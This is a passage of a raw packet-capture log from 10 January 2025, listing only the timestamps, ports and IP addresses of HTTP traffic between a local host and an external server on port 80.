Jan 10, 2025 23:21:38.124901056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.124908924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.124922037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.124963999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.172398090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.172446012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.172481060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.172504902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.172547102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.172580957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.172600985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.172607899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.172607899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.172698975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.172719002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.172770023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.172770023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.172774076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.202083111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.202092886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.202111006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.202119112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.202150106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.202177048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.202183962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.202231884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.202291965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.204879045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.204889059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.204943895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.205017090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.205034971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.205049992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.205055952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.205069065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.205100060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.205123901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.205280066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.205286980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.205307007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.205313921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.205334902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.205362082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.211075068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.222723961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.222729921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.222872019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.222912073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.222933054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.222965002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223025084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223031998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223058939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.223071098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223110914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.223131895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223196030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.223299026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223304987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223325014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223360062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223383904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.223383904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.223437071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223443031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223455906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223463058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223499060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.223541975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223650932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.223674059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223680973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223695040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223701000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223706961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223712921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223726988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223733902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223746061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.223782063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.223824024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223874092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223897934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223905087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.223969936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.223970890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.223995924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224003077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224016905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224123955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224168062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224170923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224180937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.224180937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.224205971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224262953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.224272966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224280119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224286079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224291086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224302053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224308968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224319935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224327087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224349976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.224395037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.224512100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224518061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224529982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224606037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.224606037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.224621058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224627972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224638939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224698067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.224889040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224895954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224909067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224960089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.224982023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224988937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.224999905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.225008011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.225075006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.225075006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.225176096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.225182056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.225194931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.225207090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.225214005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.225244999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.225250006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.225250959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.225281954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.225358963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.227715015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.227746964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.227761984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.227797031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.227806091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.227835894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.227864981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.227890968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.227968931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.227968931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.227988958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228018045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228030920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228034019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.228044987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228059053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228090048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.228090048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.228178024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228193045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228218079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228230953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228255033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228270054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228276014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.228276014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.228285074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228328943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228337049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.228337049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.228408098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.228545904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.263211012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.263233900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.263246059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.263252020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.263269901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.263276100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.263284922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.263355017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.263355017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.292887926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.292913914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.292984009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293025970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293054104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.293061018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293112040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.293112040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.293121099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293142080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293178082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293209076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.293212891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293236971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293277025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293302059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293313980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293333054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293348074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.293348074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.293374062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293395042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.293421030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.293667078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.295655966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.295675993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.295696974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.295753956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.295753956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.295782089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.295804977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.295839071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.295860052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.295912981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.295912981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.313534021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313581944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313587904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313627005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313635111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313679934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313687086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.313687086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.313714981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313775063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313781977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313792944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313806057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.313870907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.313903093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313910007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313941002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313947916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.313982964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.314022064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314029932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314054966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.314090967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.314182997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314188004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314199924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314207077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314213991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314225912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314234972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314259052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314265013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.314265013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.314301968 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.314337969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.314368010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314512968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314518929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314529896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314536095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314542055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314548969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314560890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314626932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.314626932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.314802885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314810038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314821959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314827919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314836025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314842939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314848900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314862967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.314863920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.314920902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.315082073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315088034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315100908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315108061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315115929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315130949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315131903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.315140009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315151930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315176010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.315227985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.315433025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315440893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315453053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315459013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315466881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315478086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315485001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315493107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315521955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315521955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.315521955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.315531969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315545082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315551996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315560102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315572023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315581083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.315581083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.315618992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.315968990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315978050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315989017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.315998077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.316010952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.316018105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.316030025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.316034079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.316086054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.316086054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.333565950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333607912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333642960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333714962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333734989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333754063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333760977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.333760977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.333811045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333831072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333847046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.333848000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333868980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333909035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333914995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.333929062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333947897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.333971024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.334017992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.334043980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.334091902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.334106922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.334129095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.334141016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.334160089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.334177971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.334212065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.334227085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.334227085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.334233999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.334253073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.334296942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.334296942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.354341030 CET	80	49704	193.143.1.205	192.168.2.8
